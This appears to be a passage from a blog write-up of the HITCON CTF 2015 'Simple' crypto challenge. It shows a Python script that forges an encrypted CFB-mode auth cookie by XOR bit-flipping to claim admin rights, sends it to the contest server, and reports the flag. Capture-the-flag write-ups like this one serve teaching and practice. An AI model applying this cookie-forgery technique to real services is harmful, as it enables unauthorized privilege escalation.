<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="code"><pre><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">urllib</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="n">original_cookie</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xE9</span><span class="s">a</span><span class="se">\x89\xEC\xC7\x7C\xBC\x15\x92\xAD\xF8\x17\xF8\x40</span><span class="s">"</span> \
<span class="s">"wV</span><span class="se">\xAB</span><span class="s">524</span><span class="se">\xF2\xF5</span><span class="s">UA</span><span class="se">\xE8\x1A\x29\xD4\xCB\xFA\xF6\xB3</span><span class="s">"</span> \
<span class="s">"</span><span class="se">\x95</span><span class="s">h</span><span class="se">\x2B\x0D\xF4\xB9\xC8\xDB\xF8</span><span class="s">n</span><span class="se">\xB9</span><span class="s">o</span><span class="se">\xBE</span><span class="s">S</span><span class="se">\x11</span><span class="s">d</span><span class="se">\xA3</span><span class="s">"</span> \
<span class="s">"9</span><span class="se">\xA3</span><span class="s">c</span><span class="se">\x3F</span><span class="s">i</span><span class="se">\xE7\xFA\x1C\xD0\xDB</span><span class="s">k</span><span class="se">\xDD\xD2</span><span class="s">_6</span><span class="se">\x06</span><span class="s">"</span>
<span class="n">original_cookie</span> <span class="o">=</span> <span class="n">original_cookie</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="n">iv</span> <span class="o">=</span> <span class="n">original_cookie</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">32</span><span class="p">]</span>
<span class="n">first_16_byte_block</span> <span class="o">=</span> <span class="n">original_cookie</span><span class="p">[</span><span class="mi">32</span><span class="p">:</span><span class="mi">64</span><span class="p">]</span>
<span class="k">print</span> <span class="s">"IV: %s"</span> <span class="o">%</span> <span class="n">iv</span>
<span class="k">print</span> <span class="s">"First Block: %s"</span> <span class="o">%</span> <span class="n">first_16_byte_block</span>
<span class="c1">#Plain text of first 16 byte block.
</span> <span class="n">plaintext</span> <span class="o">=</span><span class="s">'{"username":"b",'</span>
<span class="n">encrypted_iv</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">plaintext</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">),</span><span class="mi">16</span><span class="p">)</span> <span class="o">^</span> <span class="nb">int</span><span class="p">(</span><span class="n">first_16_byte_block</span><span class="p">,</span><span class="mi">16</span><span class="p">)</span>
<span class="n">encrypted_iv</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">encrypted_iv</span><span class="p">)[</span><span class="mi">2</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">print</span> <span class="s">"Encrypted IV: %s"</span> <span class="o">%</span> <span class="n">encrypted_iv</span>
<span class="c1">#The text I want to forge in the first block.
</span> <span class="n">forge_text</span> <span class="o">=</span> <span class="s">'{"admin": true }'</span>
<span class="k">print</span> <span class="s">'Encrypting payload...'</span>
<span class="n">payload</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">forge_text</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">),</span><span class="mi">16</span><span class="p">)</span> <span class="o">^</span> <span class="nb">int</span><span class="p">(</span><span class="n">encrypted_iv</span><span class="p">,</span><span class="mi">16</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">payload</span><span class="p">)[</span><span class="mi">2</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">iv</span> <span class="o">+</span> <span class="n">payload</span>
<span class="k">print</span> <span class="s">"PAYLOAD: %s"</span> <span class="o">%</span> <span class="n">payload</span>
<span class="n">cookie</span> <span class="o">=</span> <span class="p">{</span><span class="s">"auth"</span><span class="p">:</span> <span class="n">payload</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">"hex"</span><span class="p">)}</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"http://52.69.244.164:51913/"</span><span class="p">,</span> <span class="n">cookies</span><span class="o">=</span><span class="n">cookie</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"Flag: %s"</span> <span class="o">%</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Running the script gives us:
<img src="https://quanyang.github.io/resources/images/hitcon/simple/flag.png" alt="" /></p>
<p>And we have our flag: <strong>hitcon{WoW_CFB_m0dE_5o_eAsY}</strong></p>
<p><a href="https://quanyang.github.io/HITCONCTF-Quals-2015-Simple-(Crypto-100)/">HITCON CTF Quals 2015 - Simple (Crypto 100)</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on October 19, 2015.</p>